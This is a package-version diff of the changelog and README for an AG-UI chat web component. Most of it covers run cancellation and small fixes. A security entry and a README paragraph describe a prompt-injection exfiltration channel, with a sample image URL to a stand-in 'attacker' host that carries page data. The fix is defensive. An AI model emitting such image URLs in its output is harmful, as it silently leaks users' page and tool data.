@artooi/ag-ui-web-component 0.3.0 → 0.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -7,6 +7,84 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
7
7
 
8
8
  ## [Unreleased]
9
9
 
10
+ ## [0.4.0] — 2026-06-12
11
+
12
+ ### Added
13
+
14
+ - **Cancel / stop a run.** `AgUiClient.cancel()` aborts the in-flight
15
+ streaming request (`abortRun()` — AG-UI's transport-level cancel; the
16
+ server observes the disconnect) and stops the multi-round run loop: tool
17
+ calls collected before the abort are not executed and no further round
18
+ starts (a frontend tool handler already running completes, but its result
19
+ doesn't trigger a re-run). Safe no-op with no run in flight.
20
+ - **`onCancelled()` handler** on `AgUiClientHandlers` — the deliberate-stop
21
+ sibling of `onError`. Partial assistant text stays in the transcript and
22
+ is persisted (`onPersist`), so a reload shows the truncated exchange;
23
+ `onSettled` still fires (terminal-rest guarantee). Both the
24
+ abort-resolves and abort-rejects behaviours of `@ag-ui/client` are
25
+ handled (its `runAgent` filters `AbortError` and resolves normally;
26
+ re-throwing versions are caught via the error's name).
27
+ - **The Send button becomes Stop while a run is in flight** — same button,
28
+ label + `aria-label` swap, `data-state="running"` for styling — through
29
+ the whole interaction including between tool rounds. **Escape** in the
30
+ composer also cancels (only when the skills palette is closed; the
31
+ palette keeps its own Escape). After a cancel the transcript gets a muted
32
+ **"⏹ Stopped"** note (`.stopped-note`), not an error bubble.
33
+ - **Cancelling declines an open confirmation card.**
34
+ `requestConfirmation` accepts `ConfirmationOptions` with an
35
+ `AbortSignal`; aborting resolves the pending decision as declined
36
+ (`data-resolved="declined"`). A decision already made wins over a late
37
+ abort.
38
+
39
+ ### Changed
40
+
41
+ - `newChat()` now cancels any in-flight run before discarding the client —
42
+ previously the old agent kept streaming into a cleared transcript.
43
+ - The Send button is no longer `disabled` during a run (it's the Stop
44
+ control now); `AgUiClientHandlers.onCancelled` is required, so hosts
45
+ implementing the handlers interface must add it.
46
+
47
+ ## [0.3.1] — 2026-06-10
48
+
49
+ ### Security
50
+
51
+ - **`<img>` is stripped from rendered assistant markdown by default.** A
52
+ model-controlled `<img src="https://attacker/?d=...">` is fetched by the
53
+ browser with no user interaction, which made the sanitizer allowlist a
54
+ zero-click exfiltration channel for prompt-injected page data (page maps,
55
+ state hooks, tool results). Hosts that trust their content can opt back in
56
+ via the new `allowImages` element property (or `renderMarkdown(text,
57
+ { allowImages: true })`); when enabled, DOMPurify still strips event
58
+ handlers and `javascript:` URLs as before.
59
+
60
+ ### Fixed
61
+
62
+ - **Rotated headers now reach the agent stream.** `HttpAgent` is built once
63
+ per conversation with the headers baked into its constructor, so a rotated
64
+ token (CSRF, short-lived JWT) never reached the agent endpoint and long
65
+ sessions 401'd mid-conversation — even though the skills/tools catalog
66
+ fetches already re-read `headers` per request. The element now passes a
67
+ live `getHeaders` callback to the agent factory and `createHttpAgent`'s
68
+ fetch wrapper overlays the fresh values on every request. Custom
69
+ `agentFactory` implementations can read the new optional
70
+ `HttpAgentOptions.getHeaders` to do the same.
71
+ - **Removed the phantom `./style.css` export.** `package.json` advertised
72
+ `@artooi/ag-ui-web-component/style.css` → `dist/ag-ui-web-component.bundle.css`,
73
+ but the build emits no CSS file (styles live as JS strings and are injected
74
+ into the Shadow DOM), so importing the advertised path always failed.
75
+ - **The shared `marked` singleton is no longer mutated.** Module-scope
76
+ `marked.setOptions({ gfm, breaks })` clobbered a host app's `marked`
77
+ configuration whenever the dependency was deduped. Rendering now uses a
78
+ local `Marked` instance; the global keeps its defaults.
79
+
80
+ ### Added
81
+
82
+ - **Auto-prettified tool-card labels.** When no label is found anywhere in
83
+ the chain (`x-summary` → `toolSummaries` → fetched `data-tools-url`
84
+ catalog), cards now fall back to a prettified name (`list_projects` →
85
+ "List projects") instead of the raw identifier. Exported as
86
+ `prettifyToolName`.
87
+
10
88
  ## [0.3.0] — 2026-06-03
11
89
 
12
90
  ### Added
@@ -172,7 +250,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
172
250
  ### Notes
173
251
  - First release — exercising the automated npm OIDC publish pipeline end-to-end.
174
252
 
175
- [Unreleased]: https://github.com/Artui/ag-ui-web-component/compare/v0.3.0...HEAD
253
+ [Unreleased]: https://github.com/Artui/ag-ui-web-component/compare/v0.4.0...HEAD
254
+ [0.4.0]: https://github.com/Artui/ag-ui-web-component/compare/v0.3.1...v0.4.0
255
+ [0.3.1]: https://github.com/Artui/ag-ui-web-component/compare/v0.3.0...v0.3.1
176
256
  [0.3.0]: https://github.com/Artui/ag-ui-web-component/compare/v0.2.2...v0.3.0
177
257
  [0.2.2]: https://github.com/Artui/ag-ui-web-component/compare/v0.2.1...v0.2.2
178
258
  [0.2.1]: https://github.com/Artui/ag-ui-web-component/compare/v0.2.0...v0.2.1
package/README.md CHANGED
@@ -40,6 +40,7 @@ No framework, no Django, no admin specifics live here. Downstream consumers (e.g
40
40
  - [Quickstart](#quickstart)
41
41
  - [Core concepts](#core-concepts)
42
42
  - [The run loop and the AG-UI client](#the-run-loop-and-the-ag-ui-client)
43
+ - [Stopping a run](#stopping-a-run)
43
44
  - [Registering tools](#registering-tools)
44
45
  - [Inline confirmation (`x-destructive` / `x-confirm` / `confirmPredicate`)](#inline-confirmation-x-destructive--x-confirm--confirmpredicate)
45
46
  - [DOM-driver and animation primitives](#dom-driver-and-animation-primitives)
@@ -68,7 +69,6 @@ The package ships two builds (see [`package.json` exports](package.json)):
68
69
  | --- | --- | --- |
69
70
  | `@artooi/ag-ui-web-component` | ESM library build; `@ag-ui/*` stay **external** | You bundle the app yourself (Vite, webpack, esbuild) and want to dedupe `@ag-ui/*`. |
70
71
  | `@artooi/ag-ui-web-component/bundle` | ESM bundle with `@ag-ui/*` **inlined**, minified | Drop in via a single `<script type="module">` with no build step. |
71
- | `@artooi/ag-ui-web-component/style.css` | Extracted CSS sidecar | Rarely needed — styles are injected into the Shadow DOM at runtime. |
72
72
 
73
73
  ### The vendored-bundle story
74
74
 
@@ -157,10 +157,15 @@ That's the whole integration: an `endpoint` attribute pointing at your AG-UI ser
157
157
  | `density` | — | CSS-only: `comfortable` (default) / `compact`. |
158
158
  | `placement` | — | CSS-only: `floating` (default) / `bottom-left` / `side` / `full` / `embedded`. |
159
159
 
160
- **Properties** (JS only, not attributes): `headers`, `autoConfirm`, `confirmPredicate`,
161
- `agentFactory`, `getTools`, `getContext`, `routeMap`, `navigate`, `getPageMap`,
162
- `autoInjectPageMap`, `conversationStore`, `navigationResult`, `skillContext`, `toolSummaries`,
163
- plus the mirrors `endpoint` / `toolDisplay` / `collapsed`.
160
+ **Properties** (JS only, not attributes): `headers`, `allowImages`, `autoConfirm`,
161
+ `confirmPredicate`, `agentFactory`, `getTools`, `getContext`, `routeMap`, `navigate`,
162
+ `getPageMap`, `autoInjectPageMap`, `conversationStore`, `navigationResult`, `skillContext`,
163
+ `toolSummaries`, plus the mirrors `endpoint` / `toolDisplay` / `collapsed`.
164
+
165
+ `allowImages` (default `false`) re-enables `<img>` in rendered assistant markdown.
166
+ It is off by default because a model-controlled image URL is fetched by the browser
167
+ with no user interaction — a zero-click exfiltration channel for prompt-injected
168
+ page data. Enable only when the content source is trusted.
164
169
 
165
170
  `toolSummaries` is a `Record<string, string>` mapping tool name → a friendly card
166
171
  label, used when a tool has no `x-summary` in its own schema. Built-in and client tools
@@ -200,6 +205,28 @@ card (honouring `data-tool-display`), so server-side output is visible too. The
200
205
  and context are read **fresh on every run** (`getTools()` / `getContext()`), so they always reflect
201
206
  the current page state.
202
207
 
208
+ ### Stopping a run
209
+
210
+ While a run is in flight the **Send button becomes Stop** (same button, label/`aria-label` swap,
211
+ `data-state="running"` for styling); clicking it — or pressing **Escape** in the composer (when
212
+ the skills palette is closed; the palette owns Escape while open) — calls `AgUiClient.cancel()`.
213
+ AG-UI has no server-side cancel route: cancelling **aborts the streaming request**
214
+ (`abortRun()`), and the server observes the disconnect. On cancel:
215
+
216
+ - Partial assistant text already streamed **stays in the transcript** and is persisted via
217
+ `onPersist`, so a reload shows the truncated exchange. A muted **"⏹ Stopped"** note is appended
218
+ (`.stopped-note`) — a deliberate stop is not an error, so no ⚠️ bubble.
219
+ - The run loop stops: tool calls collected before the abort are **not executed**, and no further
220
+ round starts. A frontend tool handler already running completes, but its result doesn't trigger
221
+ a re-run.
222
+ - An **open confirmation card is declined** (`data-resolved="declined"`) — cancelling the run
223
+ answers the pending question.
224
+ - The new `onCancelled()` handler fires instead of `onError()`; `onSettled()` still follows
225
+ (the terminal-rest guarantee), returning the button to **Send**.
226
+
227
+ `cancel()` with no run in flight is a safe no-op. `newChat()` cancels any in-flight run before
228
+ discarding the client.
229
+
203
230
  ### Registering tools
204
231
 
205
232
  A tool is a `ClientTool`: `{ name, description, parameters, handler }`, where `parameters` is a
@@ -562,8 +589,9 @@ re-export point. Internal modules import from leaf paths.
562
589
  | --- | --- | --- |
563
590
  | `ToolCallCard` | class | A live tool-call card for the transcript. |
564
591
  | `ToolCallStatus` / `SettledStatus` / `ToolDisplayMode` | type | Card lifecycle states + display mode. |
565
- | `requestConfirmation(host, request)` | function | Append the inline confirmation card to the transcript. |
592
+ | `requestConfirmation(host, request, options?)` | function | Append the inline confirmation card to the transcript. |
566
593
  | `ConfirmationRequest` | type | What the card displays. |
594
+ | `ConfirmationOptions` | type | `{ signal? }` — aborting resolves the card as declined (the Stop control's hook). |
567
595
  | `renderMarkdown(text)` | function | Render sanitized markdown/HTML (marked + DOMPurify). |
568
596
  | `typeInto` / `highlightThenClick` / `pressThenClick` / `selectOption` / `toggleControl` / `scrollIntoCenterView` / `focusWithFlash` / `prefersReducedMotion` | function | Animation primitives. |
569
597
  | `fillField` / `clickElement` / `pressButton` / `selectControl` / `setControlValue` / `toggleCheckbox` | function | DOM-driver primitives. |